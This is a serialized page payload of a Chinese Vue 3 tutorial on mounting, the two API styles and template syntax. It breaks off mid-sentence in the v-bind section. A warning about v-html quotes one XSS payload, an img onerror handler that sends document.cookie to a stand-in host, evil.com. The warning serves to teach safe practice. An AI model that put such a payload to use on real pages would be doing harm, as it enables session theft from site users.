[{"data":1,"prerenderedAt":19940},["ShallowReactive",2],{"\u002Ftutorials\u002Fvue3":3,"tutorials-search\u002Ftutorials\u002Fvue3":19450},{"id":4,"title":5,"body":6,"category":19439,"cover":19440,"date":19441,"description":19442,"extension":19443,"meta":19444,"navigation":172,"path":19445,"seo":19446,"sitemap":19447,"stem":19448,"__hash__":19449},"tutorials\u002Ftutorials\u002Fvue3.md","Vue 3 教程：从第一个组件到工程化实战",{"type":7,"value":8,"toc":19281},"minimark",[9,13,34,39,42,49,52,118,123,126,297,303,395,412,416,445,621,628,638,776,800,806,813,817,850,874,891,905,926,950,954,1081,1085,1095,1106,1236,1249,1260,1266,1373,1376,1426,1430,1457,1504,1514,1517,1544,1567,1634,1652,1657,1660,1676,1689,1704,1719,1747,1768,1782,1786,2015,2019,2026,2046,2079,2088,2168,2182,2186,2422,2425,2452,2456,2459,2540,2577,2604,2608,2624,2627,2641,2679,2694,2700,2716,2736,2754,2758,2954,3079,3083,3101,3105,3240,3243,3277,3331,3335,3396,3402,3419,3440,3455,3473,3489,3492,3617,3630,3634,3653,3656,3679,3698,3714,3726,3749,3776,3792,3796,4003,4007,4022,4026,4213,4225,4234,4238,4351,4357,4361,4598,4630,4634,4721,4733,4737,4740,4743,4762,4787,4814,4831,4851,4863,4878,4895,4899,4985,5065,5069,5081,5088,5201,5222,5265,5272,5449,5459,5463,5486,5606,5696,5725,5729,6101,6124,6129,6132,6156,6177,6197,6222,6240,6255,6271,6292,6296,6459,6463,6466,6470,6624,6631,6635,6750,6776,6780,6840,6851,6856,6859,6883,6896,6911,6925,6948,6965,6991,6995,7091,7095,7102,7105,7235,7248,7252,7323,7333,7336,7452,7462,7475,7561,7564,7623,7627,7630,7633,7645,7668,7688,7702,7721,7733,7745,7749,7823,7827,7834,7838,7989,8003,8006,8074,8078,8187,8197,8201,8372,8389,8393,8405,8566,8571,8662,8668,8685,8738,8742,8753,8756,8772,8801,8818,8836,8852,8864,8885,8901,8917,8921,9033,9037,9040,9043,9238,9254,9258,9268,9510,9513,9520,9565,9582,9593,9598,9605,9608,9626,9632,9643,9653,9663,9673,9686,9690,9825,9829,9837,9840,10084,10104,10108,10142,10145,10149,10186,10201,10387,10390,10393,10484,10489,10492,10504,10515,10530,10547,10560,10570,10584,10597,10601,10702,10706,10712,10715,10901,10920,10946,10952,11026,11039,11043,11170,11173,11231,11235,11241,11244,11270,11282,11301,11316,11333,11342,11368,11372,11515,11519,11522,11526,11808,11819,11826,11830,11843,11993,12223,12226,12308,12311,12358,12362,12365,12380,12397,12416,12430,12444,12450,12469,12473,12561,12565,12568,12575,12744,12757,12761,12813,12833,12878,12890,12897,12981,12995,13003,13082,13095,13099,13111,13114,13131,13142,13155,13175,13191,13200,13208,13224,13228,13311,13315,13322,13325,13328,13349,13423,13574,13681,13687,13811,13902,13906,13921,13992,14007,14012,14027,14030,14043,14066,14079,14093,14101,14117,14123,14132,14141,14145,14219,14223,14230,14233,14247,14593,14643,14758,14762,14835,14842,14845,15009,15022,15049,15053,15248,15269,15274,15281,15284,15309,15335,15358,15377,15387,15393,15405,15425,15441,15445,15640,15644,15647,15651,15702,15708,15712,16435,16459,16463,16470,16893,16896,17203,17210,17214,17217,17472,17478,17481,17580,17584,17608,17612,17622,17626,17703,17726,17729,17736,17749,17752,17880,17893,17897,18066,18087,18095,18125,18198,18218,18222,18232,18267,18270,18299,18342,18346,18594,18598,18601,18613,18628,18642,18657,18676,18687,18705,18717,18721,18843,18847,18850,18853,19097,19100,19227,19230,19233,19271,19278],[10,11,12],"p",{},"这门课的顺序是「先能跑，再讲透」：第一到第七章过完模板与响应式这些语法地基，第八到第十一章讲组件之间怎么配合，第十二到第十四章处理生命周期与逻辑复用，第十五、十六章把状态和路由接上，第十七章做一个完整的待办清单，最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表，日后当参考书查就直接翻这两块。",[10,14,15,16,20,21,25,26,29,30,33],{},"关于版本：本教程基于 ",[17,18,19],"strong",{},"Vue 3.5","（示例里的运行时是 3.5.43）。页面里的示例用的是「不带构建工具」的引入方式（一个 ",[22,23,24],"code",{},"\u003Cscript>"," 标签 + 模板字符串），因为它能直接在浏览器里跑起来；实际项目里写的是单文件组件（",[22,27,28],{},".vue","），两者的对应关系在第十八章专门列了一张表。",[17,31,32],{},"语法本身是同一套","，只是挂载方式不同。",[35,36,38],"h2",{"id":37},"一vue-是什么从手动改-dom-到声明式渲染","一、Vue 是什么：从手动改 DOM 到声明式渲染",[10,40,41],{},"写页面时最累的不是画布局，而是「数据变了要记得改界面」。手动改 DOM 的写法，数据和界面是两份东西，改一处漏一处，界面就和真实状态对不上了。",[10,43,44,45,48],{},"Vue 解决的就是这件事：你只描述「界面在给定数据下应该长什么样」，数据一变，Vue 自己算出该改哪几个节点。",[17,46,47],{},"响应式 + 模板","这两件事合起来就是 Vue 的全部核心，后面的组件、路由、状态管理都是在此基础上做组织。",[10,50,51],{},"它自称「渐进式框架」，意思是你可以只借用其中一小块：",[53,54,55,71],"table",{},[56,57,58],"thead",{},[59,60,61,65,68],"tr",{},[62,63,64],"th",{},"用法",[62,66,67],{},"引入方式",[62,69,70],{},"适合",[72,73,74,89,107],"tbody",{},[59,75,76,80,86],{},[77,78,79],"td",{},"在已有 HTML 里增强",[77,81,82,83,85],{},"一个 ",[22,84,24],{}," 标签引入全局构建，页面里直接写模板",[77,87,88],{},"后台管理页的某个表单、老项目加个交互组件",[59,90,91,94,104],{},[77,92,93],{},"单文件组件（最常见）",[77,95,96,97,100,101,103],{},"Vite + ",[22,98,99],{},"npm create vue@latest","，代码写在 ",[22,102,28],{}," 文件里",[77,105,106],{},"独立的前端项目",[59,108,109,112,115],{},[77,110,111],{},"全栈框架",[77,113,114],{},"Nuxt（本项目的姊妹篇教程）",[77,116,117],{},"需要 SEO、首屏速度、服务端渲染的站点",[119,120,122],"h3",{"id":121},"第一个例子三种写法对照","第一个例子：三种写法对照",[10,124,125],{},"浏览器里跑起来的最小写法，页面里先放一个容器，再挂一个应用：",[127,128,133],"pre",{"className":129,"code":130,"language":131,"meta":132,"style":132},"language-html shiki shiki-themes github-dark","\u003Cdiv id=\"app\">{{ message }}\u003C\u002Fdiv>\n\n\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\">\u003C\u002Fscript>\n\u003Cscript>\n  Vue.createApp({\n    setup() {\n      const message = Vue.ref('你好，Vue')\n      return { message }\n    }\n  }).mount('#app')\n\u003C\u002Fscript>\n","html","",[22,134,135,167,174,197,206,218,227,256,265,271,287],{"__ignoreMap":132},[136,137,140,144,148,152,155,159,162,164],"span",{"class":138,"line":139},"line",1,[136,141,143],{"class":142},"s95oV","\u003C",[136,145,147],{"class":146},"s4JwU","div",[136,149,151],{"class":150},"svObZ"," id",[136,153,154],{"class":142},"=",[136,156,158],{"class":157},"sU2Wk","\"app\"",[136,160,161],{"class":142},">{{ message }}\u003C\u002F",[136,163,147],{"class":146},[136,165,166],{"class":142},">\n",[136,168,170],{"class":138,"line":169},2,[136,171,173],{"emptyLinePlaceholder":172},true,"\n",[136,175,177,179,182,185,187,190,193,195],{"class":138,"line":176},3,[136,178,143],{"class":142},[136,180,181],{"class":146},"script",[136,183,184],{"class":150}," src",[136,186,154],{"class":142},[136,188,189],{"class":157},"\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\"",[136,191,192],{"class":142},">\u003C\u002F",[136,194,181],{"class":146},[136,196,166],{"class":142},[136,198,200,202,204],{"class":138,"line":199},4,[136,201,143],{"class":142},[136,203,181],{"class":146},[136,205,166],{"class":142},[136,207,209,212,215],{"class":138,"line":208},5,[136,210,211],{"class":142},"  Vue.",[136,213,214],{"class":150},"createApp",[136,216,217],{"class":142},"({\n",[136,219,221,224],{"class":138,"line":220},6,[136,222,223],{"class":150},"    setup",[136,225,226],{"class":142},"() {\n",[136,228,230,234,238,241,244,247,250,253],{"class":138,"line":229},7,[136,231,233],{"class":232},"snl16","      const",[136,235,237],{"class":236},"sDLfK"," message",[136,239,240],{"class":232}," =",[136,242,243],{"class":142}," Vue.",[136,245,246],{"class":150},"ref",[136,248,249],{"class":142},"(",[136,251,252],{"class":157},"'你好，Vue'",[136,254,255],{"class":142},")\n",[136,257,259,262],{"class":138,"line":258},8,[136,260,261],{"class":232},"      return",[136,263,264],{"class":142}," { message }\n",[136,266,268],{"class":138,"line":267},9,[136,269,270],{"class":142},"    }\n",[136,272,274,277,280,282,285],{"class":138,"line":273},10,[136,275,276],{"class":142},"  }).",[136,278,279],{"class":150},"mount",[136,281,249],{"class":142},[136,283,284],{"class":157},"'#app'",[136,286,255],{"class":142},[136,288,290,293,295],{"class":138,"line":289},11,[136,291,292],{"class":142},"\u003C\u002F",[136,294,181],{"class":146},[136,296,166],{"class":142},[10,298,299,300,302],{},"同一个例子写成单文件组件（",[22,301,28],{},"），就是实际项目里的样子：",[127,304,308],{"className":305,"code":306,"language":307,"meta":132,"style":132},"language-vue shiki shiki-themes github-dark","\u003Cscript setup>\nimport { ref } from 'vue'\nconst message = ref('你好，Vue')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n","vue",[22,309,310,321,335,353,361,365,374,387],{"__ignoreMap":132},[136,311,312,314,316,319],{"class":138,"line":139},[136,313,143],{"class":142},[136,315,181],{"class":146},[136,317,318],{"class":150}," setup",[136,320,166],{"class":142},[136,322,323,326,329,332],{"class":138,"line":169},[136,324,325],{"class":232},"import",[136,327,328],{"class":142}," { ref } ",[136,330,331],{"class":232},"from",[136,333,334],{"class":157}," 'vue'\n",[136,336,337,340,342,344,347,349,351],{"class":138,"line":176},[136,338,339],{"class":232},"const",[136,341,237],{"class":236},[136,343,240],{"class":232},[136,345,346],{"class":150}," ref",[136,348,249],{"class":142},[136,350,252],{"class":157},[136,352,255],{"class":142},[136,354,355,357,359],{"class":138,"line":199},[136,356,292],{"class":142},[136,358,181],{"class":146},[136,360,166],{"class":142},[136,362,363],{"class":138,"line":208},[136,364,173],{"emptyLinePlaceholder":172},[136,366,367,369,372],{"class":138,"line":220},[136,368,143],{"class":142},[136,370,371],{"class":146},"template",[136,373,166],{"class":142},[136,375,376,379,381,383,385],{"class":138,"line":229},[136,377,378],{"class":142},"  \u003C",[136,380,147],{"class":146},[136,382,161],{"class":142},[136,384,147],{"class":146},[136,386,166],{"class":142},[136,388,389,391,393],{"class":138,"line":258},[136,390,292],{"class":142},[136,392,371],{"class":146},[136,394,166],{"class":142},[10,396,397,398,400,401,404,405,408,409,411],{},"除了 ",[22,399,325],{}," 和 ",[22,402,403],{},"\u003Ctemplate>"," 标签，",[17,406,407],{},"逻辑完全一样","：还是 ",[22,410,246],{},"、还是那个变量名。初学时网上会看到两种不同的代码风格，别慌，它们是同一个东西的两种外衣。",[119,413,415],{"id":414},"组合式-api-与选项式-api","组合式 API 与选项式 API",[10,417,418,419,422,423,422,426,422,429,432,433,436,437,440,441,444],{},"Vue 2 时代只有「选项式」：把代码按 ",[22,420,421],{},"data"," \u002F ",[22,424,425],{},"methods",[22,427,428],{},"computed",[22,430,431],{},"mounted"," 这些选项塞进一个大对象。Vue 3 新增了「组合式」（Composition API）：在 ",[22,434,435],{},"setup()","（或 ",[22,438,439],{},"\u003Cscript setup>","）里按",[17,442,443],{},"功能","组织代码，一个功能的响应式数据、计算属性、副作用写在一起。",[127,446,450],{"className":447,"code":448,"language":449,"meta":132,"style":132},"language-js shiki shiki-themes github-dark","\u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\nexport default {\n  data() { return { count: 0 } },\n  computed: { double() { return this.count * 2 } },\n  mounted() { console.log(this.count) }\n}\n\n\u002F\u002F 组合式：一个功能从头到尾连着写\nimport { ref, computed, onMounted } from 'vue'\nconst count = ref(0)\nconst double = computed(() => count.value * 2)\nonMounted(() => console.log(count.value))\n","js",[22,451,452,458,469,489,515,534,539,543,548,559,576,603],{"__ignoreMap":132},[136,453,454],{"class":138,"line":139},[136,455,457],{"class":456},"sAwPA","\u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\n",[136,459,460,463,466],{"class":138,"line":169},[136,461,462],{"class":232},"export",[136,464,465],{"class":232}," default",[136,467,468],{"class":142}," {\n",[136,470,471,474,477,480,483,486],{"class":138,"line":176},[136,472,473],{"class":150},"  data",[136,475,476],{"class":142},"() { ",[136,478,479],{"class":232},"return",[136,481,482],{"class":142}," { count: ",[136,484,485],{"class":236},"0",[136,487,488],{"class":142}," } },\n",[136,490,491,494,497,499,501,504,507,510,513],{"class":138,"line":199},[136,492,493],{"class":142},"  computed: { ",[136,495,496],{"class":150},"double",[136,498,476],{"class":142},[136,500,479],{"class":232},[136,502,503],{"class":236}," this",[136,505,506],{"class":142},".count ",[136,508,509],{"class":232},"*",[136,511,512],{"class":236}," 2",[136,514,488],{"class":142},[136,516,517,520,523,526,528,531],{"class":138,"line":208},[136,518,519],{"class":150},"  mounted",[136,521,522],{"class":142},"() { console.",[136,524,525],{"class":150},"log",[136,527,249],{"class":142},[136,529,530],{"class":236},"this",[136,532,533],{"class":142},".count) }\n",[136,535,536],{"class":138,"line":220},[136,537,538],{"class":142},"}\n",[136,540,541],{"class":138,"line":229},[136,542,173],{"emptyLinePlaceholder":172},[136,544,545],{"class":138,"line":258},[136,546,547],{"class":456},"\u002F\u002F 组合式：一个功能从头到尾连着写\n",[136,549,550,552,555,557],{"class":138,"line":267},[136,551,325],{"class":232},[136,553,554],{"class":142}," { ref, computed, onMounted } ",[136,556,331],{"class":232},[136,558,334],{"class":157},[136,560,561,563,566,568,570,572,574],{"class":138,"line":273},[136,562,339],{"class":232},[136,564,565],{"class":236}," count",[136,567,240],{"class":232},[136,569,346],{"class":150},[136,571,249],{"class":142},[136,573,485],{"class":236},[136,575,255],{"class":142},[136,577,578,580,583,585,588,591,594,597,599,601],{"class":138,"line":289},[136,579,339],{"class":232},[136,581,582],{"class":236}," double",[136,584,240],{"class":232},[136,586,587],{"class":150}," computed",[136,589,590],{"class":142},"(() ",[136,592,593],{"class":232},"=>",[136,595,596],{"class":142}," count.value ",[136,598,509],{"class":232},[136,600,512],{"class":236},[136,602,255],{"class":142},[136,604,606,609,611,613,616,618],{"class":138,"line":605},12,[136,607,608],{"class":150},"onMounted",[136,610,590],{"class":142},[136,612,593],{"class":232},[136,614,615],{"class":142}," console.",[136,617,525],{"class":150},[136,619,620],{"class":142},"(count.value))\n",[10,622,623,624,627],{},"本教程以",[17,625,626],{},"组合式","为主线（新项目、Nuxt、官方文档示例都是它），每章末尾会给出选项式的对应写法，读懂老代码也够用。两者可以混用，但一个组件里最好只用一种。",[119,629,631,632,634,635,637],{"id":630},"挂载createapp-与-mount-的关系","挂载：",[22,633,214],{}," 与 ",[22,636,279],{}," 的关系",[127,639,641],{"className":447,"code":640,"language":449,"meta":132,"style":132},"const app = Vue.createApp(RootComponent)   \u002F\u002F 创建应用实例，此时什么都还没渲染\napp.component('MyBadge', MyBadge)          \u002F\u002F 全局注册组件\napp.directive('focus', { mounted: (el) => el.focus() })\napp.config.errorHandler = (err) => console.error(err)\napp.mount('#app')                          \u002F\u002F 到这里才真的往 DOM 里画\napp.unmount()                              \u002F\u002F 卸载（对应 DOM 被清空）\n",[22,642,643,662,681,719,747,763],{"__ignoreMap":132},[136,644,645,647,650,652,654,656,659],{"class":138,"line":139},[136,646,339],{"class":232},[136,648,649],{"class":236}," app",[136,651,240],{"class":232},[136,653,243],{"class":142},[136,655,214],{"class":150},[136,657,658],{"class":142},"(RootComponent)   ",[136,660,661],{"class":456},"\u002F\u002F 创建应用实例，此时什么都还没渲染\n",[136,663,664,667,670,672,675,678],{"class":138,"line":169},[136,665,666],{"class":142},"app.",[136,668,669],{"class":150},"component",[136,671,249],{"class":142},[136,673,674],{"class":157},"'MyBadge'",[136,676,677],{"class":142},", MyBadge)          ",[136,679,680],{"class":456},"\u002F\u002F 全局注册组件\n",[136,682,683,685,688,690,693,696,698,701,705,708,710,713,716],{"class":138,"line":176},[136,684,666],{"class":142},[136,686,687],{"class":150},"directive",[136,689,249],{"class":142},[136,691,692],{"class":157},"'focus'",[136,694,695],{"class":142},", { ",[136,697,431],{"class":150},[136,699,700],{"class":142},": (",[136,702,704],{"class":703},"s9osk","el",[136,706,707],{"class":142},") ",[136,709,593],{"class":232},[136,711,712],{"class":142}," el.",[136,714,715],{"class":150},"focus",[136,717,718],{"class":142},"() })\n",[136,720,721,724,727,729,732,735,737,739,741,744],{"class":138,"line":199},[136,722,723],{"class":142},"app.config.",[136,725,726],{"class":150},"errorHandler",[136,728,240],{"class":232},[136,730,731],{"class":142}," (",[136,733,734],{"class":703},"err",[136,736,707],{"class":142},[136,738,593],{"class":232},[136,740,615],{"class":142},[136,742,743],{"class":150},"error",[136,745,746],{"class":142},"(err)\n",[136,748,749,751,753,755,757,760],{"class":138,"line":208},[136,750,666],{"class":142},[136,752,279],{"class":150},[136,754,249],{"class":142},[136,756,284],{"class":157},[136,758,759],{"class":142},")                          ",[136,761,762],{"class":456},"\u002F\u002F 到这里才真的往 DOM 里画\n",[136,764,765,767,770,773],{"class":138,"line":220},[136,766,666],{"class":142},[136,768,769],{"class":150},"unmount",[136,771,772],{"class":142},"()                              ",[136,774,775],{"class":456},"\u002F\u002F 卸载（对应 DOM 被清空）\n",[10,777,778,779,781,782,785,786,789,790,792,793,796,797,799],{},"三个容易忽略的点：",[22,780,279],{}," 之前页面里的 ",[22,783,784],{},"{{ message }}"," 是",[17,787,788],{},"原样显示","的（模板还没被编译）；一个页面可以有多个互不相干的 ",[22,791,214],{}," 实例；",[22,794,795],{},"app.component"," 之类的注册必须在 ",[22,798,279],{}," 之前完成。",[801,802],"demo-html",{"height":803,"src":804,"title":805},520,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F01-imperative-vs-declarative.html","示例 01：命令式改 DOM vs 声明式渲染",[10,807,808,809,812],{},"示例 01 左右两栏是同一个计数：左边点「+1（忘了同步）」，数据变了界面不动——这就是没有框架时的日常；右边只改数据，界面里的数字和那句 ",[22,810,811],{},"v-if"," 的话自己冒出来。",[119,814,816],{"id":815},"️-本章的坑","⚠️ 本章的坑",[10,818,819,822,823,826,827,830,831,834,835,838,839,842,843,845,846,849],{},[17,820,821],{},"1. 挂载目标必须先存在于 DOM。"," ",[22,824,825],{},"mount('#app')"," 时页面里没有 ",[22,828,829],{},"id=\"app\"","，Vue 直接报 ",[22,832,833],{},"Failed to mount app: mount target not found","。脚本放在 ",[22,836,837],{},"\u003Chead>"," 里、或者放在容器元素之前，都会撞上。把脚本放在 ",[22,840,841],{},"\u003C\u002Fbody>"," 前，或给 ",[22,844,24],{}," 加 ",[22,847,848],{},"defer","。",[10,851,852,822,855,858,859,862,863,866,867,870,871,873],{},[17,853,854],{},"2. 浏览器里写 in-DOM 模板，标签名和属性名会被转成小写。",[22,856,857],{},"\u003CUserCard userName=\"a\">"," 在 HTML 里会被解析成 ",[22,860,861],{},"usercard"," + ",[22,864,865],{},"username","，组件找不到、props 收不到。浏览器里请写 kebab-case：",[22,868,869],{},"\u003Cuser-card user-name=\"a\">","；",[22,872,28],{}," 文件里没这个限制（这也是示例用模板字符串的原因）。",[10,875,876,883,884,862,887,890],{},[17,877,878,879,882],{},"3. ",[22,880,881],{},"{{ }}"," 会先在页面上闪一下。"," 因为 HTML 已经渲染、Vue 还没挂载。用 ",[22,885,886],{},"v-cloak",[22,888,889],{},"[v-cloak]{display:none}","，或者把脚本放前面。",[10,892,893,904],{},[17,894,895,896,899,900,903],{},"4. 引入 ",[22,897,898],{},"vue.global.js","（开发版）和 ",[22,901,902],{},"vue.global.prod.js","（生产版）差别很大。"," 类型警告、性能提示只有开发版会打印；生产版为了体积把这些都剥掉了。学习阶段一律用开发版，别把「没报错」当成「没写错」。",[10,906,907,913,914,917,918,921,922,925],{},[17,908,909,910,912],{},"5. 多个 ",[22,911,214],{}," 之间不共享注册。"," 在 app1 上 ",[22,915,916],{},"component()"," 注册过的组件，app2 里用不了，会报 ",[22,919,920],{},"Unknown custom element","。需要共享就用插件（",[22,923,924],{},"app.use()","）或干脆只有一个根应用。",[10,927,928,936,937,939,940,942,943,945,946,949],{},[17,929,930,931,933,934,849],{},"6. ",[22,932,435],{}," 里不能用 ",[22,935,530],{}," 组合式在 ",[22,938,530],{}," 绑定之前执行；",[22,941,439],{}," 更是根本没有 ",[22,944,530],{},"。要从选项式转过来，把 ",[22,947,948],{},"this.xxx"," 全换成局部变量。",[119,951,953],{"id":952},"附两套-api-风格对照速查","附：两套 API 风格对照速查",[53,955,956,969],{},[56,957,958],{},[59,959,960,963,966],{},[62,961,962],{},"要做的事",[62,964,965],{},"组合式（本教程用法）",[62,967,968],{},"选项式（老代码里常见）",[72,970,971,986,1001,1016,1031,1046,1062],{},[59,972,973,976,981],{},[77,974,975],{},"声明响应式数据",[77,977,978],{},[22,979,980],{},"const n = ref(0)",[77,982,983],{},[22,984,985],{},"data() { return { n: 0 } }",[59,987,988,991,996],{},[77,989,990],{},"计算属性",[77,992,993],{},[22,994,995],{},"const d = computed(() => n.value * 2)",[77,997,998],{},[22,999,1000],{},"computed: { d() { return this.n * 2 } }",[59,1002,1003,1006,1011],{},[77,1004,1005],{},"监听",[77,1007,1008],{},[22,1009,1010],{},"watch(n, cb)",[77,1012,1013],{},[22,1014,1015],{},"watch: { n: cb }",[59,1017,1018,1021,1026],{},[77,1019,1020],{},"挂载后执行",[77,1022,1023],{},[22,1024,1025],{},"onMounted(cb)",[77,1027,1028],{},[22,1029,1030],{},"mounted() {}",[59,1032,1033,1036,1041],{},[77,1034,1035],{},"卸载前清理",[77,1037,1038],{},[22,1039,1040],{},"onBeforeUnmount(cb)",[77,1042,1043],{},[22,1044,1045],{},"beforeUnmount() {}",[59,1047,1048,1051,1057],{},[77,1049,1050],{},"方法",[77,1052,1053,1054],{},"普通函数 ",[22,1055,1056],{},"function add() {}",[77,1058,1059],{},[22,1060,1061],{},"methods: { add() {} }",[59,1063,1064,1067,1076],{},[77,1065,1066],{},"注册组件",[77,1068,1069,1072,1073,1075],{},[22,1070,1071],{},"import X from '.\u002FX.vue'","（",[22,1074,439],{}," 自动可用）",[77,1077,1078],{},[22,1079,1080],{},"components: { X }",[35,1082,1084],{"id":1083},"二模板语法插值动态属性与表达式的边界","二、模板语法：插值、动态属性与表达式的边界",[10,1086,1087,1088,1090,1091,1094],{},"模板 = HTML + 两样东西：",[22,1089,881],{}," 插值 和 ",[22,1092,1093],{},"v-xxx"," 指令。它不是「在 HTML 里写 JS」，能放的位置和能写的表达式都有边界，越界要么编译失败，要么行为和你预期相反。",[119,1096,1098,1099,1101,1102,1105],{"id":1097},"插值-是转义的v-html-不是","插值：",[22,1100,881],{}," 是转义的，",[22,1103,1104],{},"v-html"," 不是",[127,1107,1109],{"className":305,"code":1108,"language":307,"meta":132,"style":132},"\u003Ctemplate>\n  \u003Cp>{{ msg }}\u003C\u002Fp>                          \u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n  \u003Cp v-html=\"msg\">\u003C\u002Fp>                      \u003C!-- 内容被当成 HTML 解析 -->\n  \u003Cp>{{ count + 1 }}\u003C\u002Fp>                    \u003C!-- 表达式 -->\n  \u003Cp>{{ ok ? '可用' : '禁用' }}\u003C\u002Fp>          \u003C!-- 三元 -->\n  \u003Cp>{{ list.length }}\u003C\u002Fp>                   \u003C!-- 属性访问 -->\n  \u003Cp>{{ msg.split('').reverse().join('') }}\u003C\u002Fp>  \u003C!-- 方法调用链 -->\n\u003C\u002Ftemplate>\n",[22,1110,1111,1119,1136,1160,1177,1194,1211,1228],{"__ignoreMap":132},[136,1112,1113,1115,1117],{"class":138,"line":139},[136,1114,143],{"class":142},[136,1116,371],{"class":146},[136,1118,166],{"class":142},[136,1120,1121,1123,1125,1128,1130,1133],{"class":138,"line":169},[136,1122,378],{"class":142},[136,1124,10],{"class":146},[136,1126,1127],{"class":142},">{{ msg }}\u003C\u002F",[136,1129,10],{"class":146},[136,1131,1132],{"class":142},">                          ",[136,1134,1135],{"class":456},"\u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n",[136,1137,1138,1140,1142,1145,1147,1150,1152,1154,1157],{"class":138,"line":176},[136,1139,378],{"class":142},[136,1141,10],{"class":146},[136,1143,1144],{"class":150}," v-html",[136,1146,154],{"class":142},[136,1148,1149],{"class":157},"\"msg\"",[136,1151,192],{"class":142},[136,1153,10],{"class":146},[136,1155,1156],{"class":142},">                      ",[136,1158,1159],{"class":456},"\u003C!-- 内容被当成 HTML 解析 -->\n",[136,1161,1162,1164,1166,1169,1171,1174],{"class":138,"line":199},[136,1163,378],{"class":142},[136,1165,10],{"class":146},[136,1167,1168],{"class":142},">{{ count + 1 }}\u003C\u002F",[136,1170,10],{"class":146},[136,1172,1173],{"class":142},">                    ",[136,1175,1176],{"class":456},"\u003C!-- 表达式 -->\n",[136,1178,1179,1181,1183,1186,1188,1191],{"class":138,"line":208},[136,1180,378],{"class":142},[136,1182,10],{"class":146},[136,1184,1185],{"class":142},">{{ ok ? '可用' : '禁用' }}\u003C\u002F",[136,1187,10],{"class":146},[136,1189,1190],{"class":142},">          ",[136,1192,1193],{"class":456},"\u003C!-- 三元 -->\n",[136,1195,1196,1198,1200,1203,1205,1208],{"class":138,"line":220},[136,1197,378],{"class":142},[136,1199,10],{"class":146},[136,1201,1202],{"class":142},">{{ list.length }}\u003C\u002F",[136,1204,10],{"class":146},[136,1206,1207],{"class":142},">                   ",[136,1209,1210],{"class":456},"\u003C!-- 属性访问 -->\n",[136,1212,1213,1215,1217,1220,1222,1225],{"class":138,"line":229},[136,1214,378],{"class":142},[136,1216,10],{"class":146},[136,1218,1219],{"class":142},">{{ msg.split('').reverse().join('') }}\u003C\u002F",[136,1221,10],{"class":146},[136,1223,1224],{"class":142},">  ",[136,1226,1227],{"class":456},"\u003C!-- 方法调用链 -->\n",[136,1229,1230,1232,1234],{"class":138,"line":258},[136,1231,292],{"class":142},[136,1233,371],{"class":146},[136,1235,166],{"class":142},[10,1237,1238,1239,1244,1245,1248],{},"一条铁律：",[17,1240,1241,1243],{},[22,1242,1104],{}," 永远不要用在用户输入上","。它不做转义，用户贴一段 ",[22,1246,1247],{},"\u003Cimg src=x onerror=\"fetch('\u002F\u002Fevil.com?c='+document.cookie)\">"," 就在你的页面里执行了（XSS）。要做富文本渲染，先把内容净化（DOMPurify 一类），或者只显示纯文本。",[119,1250,1252,1253,1256,1257],{"id":1251},"动态属性v-bind-与它的缩写","动态属性：",[22,1254,1255],{},"v-bind"," 与它的缩写 ",[22,1258,1259],{},":",[10,1261,1262,1263,1265],{},"给属性绑定值必须加 ",[22,1264,1255],{},"，否则拿到的是字符串字面量：",[127,1267,1269],{"className":305,"code":1268,"language":307,"meta":132,"style":132},"\u003Ca :href=\"url\">链接\u003C\u002Fa>          \u003C!-- url 变量的值 -->\n\u003Ca href=\"url\">链接\u003C\u002Fa>           \u003C!-- 字符串 \"url\"，十有八九是 bug -->\n\u003Cimg :src=\"src\" :alt=\"alt\">\n\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n\u003Cdiv :id=\"domId\" :data-index=\"i\">\n",[22,1270,1271,1304,1328,1363,1368],{"__ignoreMap":132},[136,1272,1273,1275,1278,1281,1284,1286,1289,1292,1294,1297,1299,1301],{"class":138,"line":139},[136,1274,143],{"class":142},[136,1276,1277],{"class":146},"a",[136,1279,1280],{"class":142}," :",[136,1282,1283],{"class":150},"href",[136,1285,154],{"class":142},[136,1287,1288],{"class":157},"\"",[136,1290,1291],{"class":142},"url",[136,1293,1288],{"class":157},[136,1295,1296],{"class":142},">链接\u003C\u002F",[136,1298,1277],{"class":146},[136,1300,1190],{"class":142},[136,1302,1303],{"class":456},"\u003C!-- url 变量的值 -->\n",[136,1305,1306,1308,1310,1313,1315,1318,1320,1322,1325],{"class":138,"line":169},[136,1307,143],{"class":142},[136,1309,1277],{"class":146},[136,1311,1312],{"class":150}," href",[136,1314,154],{"class":142},[136,1316,1317],{"class":157},"\"url\"",[136,1319,1296],{"class":142},[136,1321,1277],{"class":146},[136,1323,1324],{"class":142},">           ",[136,1326,1327],{"class":456},"\u003C!-- 字符串 \"url\"，十有八九是 bug -->\n",[136,1329,1330,1332,1335,1337,1340,1342,1344,1346,1348,1350,1353,1355,1357,1359,1361],{"class":138,"line":176},[136,1331,143],{"class":142},[136,1333,1334],{"class":146},"img",[136,1336,1280],{"class":142},[136,1338,1339],{"class":150},"src",[136,1341,154],{"class":142},[136,1343,1288],{"class":157},[136,1345,1339],{"class":142},[136,1347,1288],{"class":157},[136,1349,1280],{"class":142},[136,1351,1352],{"class":150},"alt",[136,1354,154],{"class":142},[136,1356,1288],{"class":157},[136,1358,1352],{"class":142},[136,1360,1288],{"class":157},[136,1362,166],{"class":142},[136,1364,1365],{"class":138,"line":199},[136,1366,1367],{"class":142},"\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n",[136,1369,1370],{"class":138,"line":208},[136,1371,1372],{"class":142},"\u003Cdiv :id=\"domId\" :data-index=\"i\">\n",[10,1374,1375],{},"三个细节值得记住：",[1377,1378,1379,1394,1408],"ul",{},[1380,1381,1382,1385,1386,1389,1390,1393],"li",{},[17,1383,1384],{},"布尔属性","用 ",[22,1387,1388],{},":disabled=\"false\""," 才会真的移除该属性；写 ",[22,1391,1392],{},"disabled=\"false\""," 反而等于启用（HTML 